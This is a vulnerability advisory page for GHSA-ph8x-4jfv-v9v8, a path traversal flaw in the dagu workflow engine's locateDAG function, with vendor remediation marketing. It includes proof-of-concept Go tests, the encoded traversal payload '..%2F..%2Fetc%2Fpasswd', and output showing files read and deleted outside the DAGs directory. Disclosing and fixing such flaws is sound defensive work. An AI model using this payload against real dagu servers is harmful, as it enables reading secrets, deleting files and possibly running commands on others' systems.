GHSA-ph8x-4jfv-v9v8 is a high-severity (CVSS 8.1) Path Traversal vulnerability in github.com/dagu-org/dagu. A fix is available for github.com/dagu-org/dagu — see the affected versions and patch details below.
Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-ph8x-4jfv-v9v8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-ph8x-4jfv-v9v8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/dagu-org/daguReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.
Vulnerable code
internal/persis/filedag/store.go, lines 508-513:
func (store *Storage) locateDAG(nameOrPath string) (string, error) {
if strings.Contains(nameOrPath, string(filepath.Separator)) {
foundPath, err := findDAGFile(nameOrPath)
if err == nil {
return foundPath, nil // returns arbitrary resolved path
}
}
// ...safe searchPaths branch follows
findDAGFile resolves the path with filepath.Abs and checks only that the file exists with a YAML extension. No containment check against baseDir.
Chi v5 routes using r.URL.RawPath when set. The pattern /dags/{fileName}/spec captures ..%2F..%2Fetc%2Ftarget.yaml as a single path segment. The oapi-codegen runtime calls url.PathUnescape, producing ../../etc/target.yaml. This decoded string reaches locateDAG with the / separator intact.
Go's net/http.ServeMux would normally redirect paths containing .., but dagu binds the chi mux directly to &http.Server{Handler: r} (server.go:833-834), so no path cleaning fires.
Affected endpoints
The three confirmed impacts via locateDAG:
| Endpoint | Impact |
|---|---|
GET /dags/{fileName}/spec | Arbitrary .yaml/.yml file read (os.ReadFile) |
DELETE /dags/{fileName} | Arbitrary .yaml/.yml file delete (os.Remove) |
POST /dags/{fileName}/start | Load arbitrary YAML, execute as workflow |
Same pattern affects all other {fileName} endpoints: /dag-runs, /dag-runs/{id}, /rename, /start-sync, /enqueue, and webhook handlers. UpdateDAGSpec is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject /.
PoC
Store-level (dagu v2.0.2, Go 1.26, macOS; locateDAG unchanged through v2.3.0):
func TestLocateDAGPathTraversal(t *testing.T) {
baseDir, _ := os.MkdirTemp("", "bd")
defer os.RemoveAll(baseDir)
outsideDir, _ := os.MkdirTemp("", "od")
defer os.RemoveAll(outsideDir)
store := filedag.New(baseDir, filedag.WithSkipExamples(true))
ctx := context.Background()
store.Create(ctx, "legit", []byte("name: legit\nsteps:\n - name: s\n command: echo ok\n"))
target := filepath.Join(outsideDir, "secret.yaml")
os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)
rel, _ := filepath.Rel(baseDir, target)
spec, _ := store.GetSpec(ctx, rel)
fmt.Println(spec)
}
Output:
baseDir: /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal: ../od3906487343/secret.yaml
=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal
=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yaml
HTTP-level (chi v5.2.2):
r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
raw := chi.URLParam(r, "fileName")
decoded, _ := url.PathUnescape(raw)
fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})
req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)
Output:
path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwd
Chi captures ..%2F..%2Fetc%2Fpasswd as one path segment via RawPath, oapi-codegen decodes %2F to /. Confirmed with chi v5.2.2.
Affected versions
- v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).
- The
locateDAGfunction with thefilepath.Separatorcode path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite. - The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched
CreateNewDAGbut didn't address the newlocateDAGcode path that was introduced in the same release.
Suggested fix
Add path containment to locateDAG rather than sprinkling ValidateDAGName across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split locateDAG into a validated public method (HTTP handlers) and an internal method (trusted callers only).
Impact
An authenticated user (or any user if auth.mode=none) can read or delete any .yaml/.yml file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.
The execute endpoints also traverse via locateDAG, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same locateDAG call confirmed above.
Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with auth.mode=none are exploitable without credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/dagu-org/dagu | ≥ 1.30.4-0.20260221021317-e2ed589105d7&&< 1.30.4-0.20260319093346-7d07fda8f9de | 1.30.4-0.20260319093346-7d07fda8f9dego get github.com/dagu-org/dagu@v1.30.4-0.20260319093346-7d07fda8f9de |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dagu-org/dagu, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/dagu-org/dagu to 1.30.4-0.20260319093346-7d07fda8f9de or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ph8x-4jfv-v9v8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-ph8x-4jfv-v9v8 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-ph8x-4jfv-v9v8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ph8x-4jfv-v9v8 in your dependencies?
O3 Security finds GHSA-ph8x-4jfv-v9v8 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.